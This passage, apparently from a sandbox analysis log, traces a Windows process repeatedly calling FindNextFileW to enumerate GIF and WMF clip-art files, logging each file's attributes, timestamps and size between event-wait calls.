lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e5400, ftCreationTime.dwHighDateTime=0x1bd4c10, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x262e5400, ftLastWriteTime.dwHighDateTime=0x1bd4c10, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0245.962] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6b4200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6b4200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0245.962] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29618e00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29618e00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0245.962] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ff3400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26ff3400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0245.963] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef57700, ftCreationTime.dwHighDateTime=0x1bd4f8b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ef57700, ftLastWriteTime.dwHighDateTime=0x1bd4f8b, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0245.963] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf316a100, ftCreationTime.dwHighDateTime=0x1bd4bcc, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf316a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcc, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0245.963] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33bee00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33bee00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0245.964] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0245.964] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffa86700, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffa86700, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0245.965] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b28600, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b28600, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0245.965] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3bca500, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3bca500, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0245.965] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc6c400, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedc6c400, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0245.966] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9688900, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9688900, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0245.966] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2417b00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2417b00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0245.966] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad7cc700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad7cc700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0245.967] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a69f700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a69f700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0245.967] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a54300, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a54300, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0245.967] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e47e00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65e47e00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0245.967] ResetEvent (hEvent=0x118) returned 1 [0245.968] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0245.987] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d0800, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4d0800, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0245.987] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b98100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89b98100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0245.987] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81614600, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81614600, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0245.987] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9c9200, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9c9200, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1 [0245.988] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a6b100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76a6b100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1 [0245.988] ResetEvent (hEvent=0x118) returned 1 [0245.988] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0246.014] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e1fd00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71e1fd00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1 [0246.014] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04e500, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04e500, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1 [0246.015] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4d3e00, ftCreationTime.dwHighDateTime=0x1bd4e56, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde4d3e00, ftLastWriteTime.dwHighDateTime=0x1bd4e56, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1 [0246.015] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc18a400, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc18a400, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1 [0246.015] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e3cb900, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e3cb900, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1 [0246.016] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5f2300, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a5f2300, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1 [0246.016] ResetEvent (hEvent=0x118) returned 1 [0246.016] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0246.021] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1c4f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab1c4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1 [0246.021] ResetEvent (hEvent=0x118) returned 1 [0246.021] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0246.024] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e812b00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e812b00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1 [0246.024] ResetEvent (hEvent=0x118) returned 1 [0246.025] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0246.028] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9eb2200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9eb2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1 [0246.028] ResetEvent (hEvent=0x118) returned 1 [0246.028] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0246.031] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2efb2900, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2efb2900, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1 [0246.031] ResetEvent (hEvent=0x118) returned 1 [0246.032] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0246.180] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9f500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8b9f500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1 [0246.180] ResetEvent (hEvent=0x118) returned 1 [0246.180] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0246.190] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc14efd00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc14efd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1 [0246.190] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d83ea00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d83ea00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1 [0246.191] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e92000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31e92000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1 [0246.191] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1fda300, ftCreationTime.dwHighDateTime=0x1bd4b21, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1fda300, ftLastWriteTime.dwHighDateTime=0x1bd4b21, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0246.191] ResetEvent (hEvent=0x118) returned 1 [0246.191] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0246.202] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dd6400, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86dd6400, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1 [0246.203] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54406500, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54406500, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0246.203] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x530f3800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x530f3800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 [0246.203] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cbf4f00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cbf4f00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0246.204] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8335e700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8335e700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0246.204] ResetEvent (hEvent=0x118) returned 1 [0246.204] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0246.224] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa26000, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fa26000, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0246.224] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bb3800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x68bb3800, 